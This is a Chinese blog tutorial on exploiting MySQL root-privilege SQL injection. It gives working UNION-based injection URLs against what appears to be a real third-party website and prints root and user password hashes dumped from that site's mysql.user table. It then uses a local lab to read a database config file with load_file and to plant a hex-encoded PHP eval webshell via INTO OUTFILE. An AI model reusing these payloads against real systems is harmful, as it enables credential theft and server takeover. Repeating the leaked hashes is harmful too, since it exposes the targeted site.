Mysql Root 权限下的注入利用技巧( 一 )

华盟学院山东省第二期线下学习计划

前言须知

虽说是 root 权限,但这并不意味着,你就可以在目标系统中为所欲为,假如目标的 root 被降了权,或者你想写 shell 的目标网站目录都不可写,这时,即使你是 root 权限,能干的事儿也一样非常的有限,当我们在实战中遇到一个 mysql root 权限的注入点时,想干或者暂时能干的事情无非就下面这些,接下来,会针对每种方法做详细演示

查出目标数据库root的密码然后尝试外连,前提是得目标允许root用户远程连才行 [grant允许]

尝试读取目标网站目录中的各类敏感密码文件,搜集各种账号密码再配合别的漏洞进去

尝试直接往目标网站目录中写webshell,如果当前数据库用户对目标网站目录不可写?[权限被控住了]

udf 提权,如果目标的 mysql 服务是以一个系统伪用户权限起来的[通常都是这样],提权效果自然也就没了

首先,先说最简单的,查出目标数据库的root密码然后尝试外连,本地用于实例演示的root权限注入点如下

http://charade.futami.co.jp/topix/detail.php?tid=264
Mysql Root 权限下的注入利用技巧( 一 )先确定是否真的存在注入,条件为真时页面返回正常

http://charade.futami.co.jp/topix/detail.php?tid=264 and 112=112 -- -

Mysql Root 权限下的注入利用技巧( 一 )

条件为假时页面返回异常,说明注入存在

http://charade.futami.co.jp/topix/detail.php?tid=264 and 112=1112 -- -
Mysql Root 权限下的注入利用技巧( 一 )
曝出当前表的字段总个数,这次我们就不用order by了, 因为有时候,可能order by 不太好使,大家可以用null来代替遍历,从下面我们发现,当字段个数为6时页面返回异常

http://charade.futami.co.jp/topix/detail.php?tid=264+UNION+ALL+SELECT+null,null,null,null,null,null  --+-
Mysql Root 权限下的注入利用技巧( 一 )当字段个数为5时,页面正常返回,此时,说明当前表的字段个数总共为5个,有了准确的字段个数,直接曝数据即可

http://charade.futami.co.jp/topix/detail.php?tid=264+UNION+ALL+SELECT+null,null,null,null,null  --+-
Mysql Root 权限下的注入利用技巧( 一 )
知道了字段个数还不够,我们还需要知道准确的数据显示位,其实也很简单,逐个位的遍历就好了

http://charade.futami.co.jp/topix/detail.php?tid=-264+UNION+ALL+SELECT+null,'k','l',null,null  --+-
Mysql Root 权限下的注入利用技巧( 一 )
搜集数据库信息,查权限,查版本[在前面我们已经说过,5.5.x和5.6.x的系统用户表的密码字段名是不一样的]

http://charade.futami.co.jp/topix/detail.php?tid=-264+UNION+ALL+SELECT+null,user(),version(),null,null  --+-
Mysql Root 权限下的注入利用技巧( 一 )我们发现当前数据库用户为root,版本是5.1.x 既然是root那就简单了,由于库名,表名,字段名都是已知的,直接查数据即可,很快我们就直接拿到了目标的root密码hash,很遗憾的是,目标的数据库端口并没有对外开放,而且hash暂时还没解出来,所以就不能连上去给大家看实际效果了,实在抱歉

http://charade.futami.co.jp/topix/detail.php?tid=-264+UNION+ALL+SELECT+null,concat_ws(' | ',User,Password),'l',null,null from mysql.user limit 0,1  --+-

Mysql Root 权限下的注入利用技巧( 一 )
Mysql Root 权限下的注入利用技巧( 一 )最终,等到数据库用户级密码hash如下:
piwik_user   *A90E9645441C1748C7FC28054F71B40C81C7C3BA
root  *811B86916C32F73EBB956D1A1F32A5A0E801FC5B

直接查 root 密码的说完了,现在我们再来介绍第二种方法,读取目标网站的各类敏感配置文件,因为上面那个站,懒得去曝它网站的物理路径[关键大家真正理解就行,思路更重要],然后就寻思着,要不再找一个实例站点来演示,不过 root 权限的实在是不太好找,找了很久都没有找到针对性的站,所以读取文件,我们这里暂时就先用本地环境[pentestlab]来演示了,之前的那些流程我就不废话了,直接来看重点吧

在mysql中一般我们都会用load_file来读取文件,注意,这里读取文件所继承的权限是数据库服务用户的权限,并非web用户的权限,因为你脚本的sql语句最终是在数据库中执行的,也就是说,如果数据库服务用户对你想读的文件所在的目录没有读权限,也一样是读不出来的,不过一般情况下都可以读出来,因为读一般都不会被控住,这里的文件路径,记得顺手hex下,主要是为了避免单引号引起sql语句出错,下面的hex数据对应的明文其实是‘/var/www/classes/db.php‘

http://192.168.1.132/cat.php?id=-1+UNION+ALL+SELECT+1,load_file(0x2f7661722f7777772f636c61737365732f64622e706870),3,4 -- -

Mysql Root 权限下的注入利用技巧( 一 )

这样就可以直接把目标的数据库账号密码给读出来了,当然啦,实战中,只要能读到账号密码的地方你都可以尝试去读,即使目标数据库不允许外连,也把这个账号密码先搜集过来再说
Mysql Root 权限下的注入利用技巧( 一 )
说完读,我们再来说写的问题,像这种情况一般都是在你已经拿到目标的网站物理路径[至于怎么曝出目标的物理路径,可以去我的博客里找找,里面有一篇里面详细提到了这个,话说回来,如果页面的错误处理非常的到位,基本是不可能曝出来的],而注入点恰巧又是root权限,这时你就可以直接尝试往目标的网站目录里面写webshell,但还是有个前提,你当前执行sql写的系统用户身份[一般都是web]对那个目录一定要有写权限才行,如果目录权限是root属主,root属组,目录是755这么一个权限,那也基本是写不进去的,从下面我们看到,典型的权限不够

http://192.168.1.132/cat.php?id=-1+UNION+ALL+SELECT+1,0x3c3f70687020406576616c28245f504f53545b6b6c696f6e5d293f3e,3,4 into outfile '/var/www/webshell.php'-- -
Mysql Root 权限下的注入利用技巧( 一 )
Mysql Root 权限下的注入利用技巧( 一 )Mysql Root 权限下的注入利用技巧( 一 )

不信,我们可以去服务器上看看文件是不是存在,里面是不是有我们刚刚写进去的一句话

Mysql Root 权限下的注入利用技巧( 一 )

尝试访问 shell,正常执行,altman 也正常连上
Mysql Root 权限下的注入利用技巧( 一 )Mysql Root 权限下的注入利用技巧( 一 )
最后,我们再回过头来仔细观察下这个 webshell 的权限,mysql 属主,属组,这也正好印证了我之前所说的,因为你的 sql 语句最终是在数据库中执行的,所以,它映射的权限自然也是数据服务用户的权限,能不能做你想做的操作关键还要看这个用户在系统中所映射的权限到底有多大
Mysql Root 权限下的注入利用技巧( 一 )

www.idc126.com

文章来源:lsh4ck's Blog

本文由 华盟网 作者: 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
0

发表评论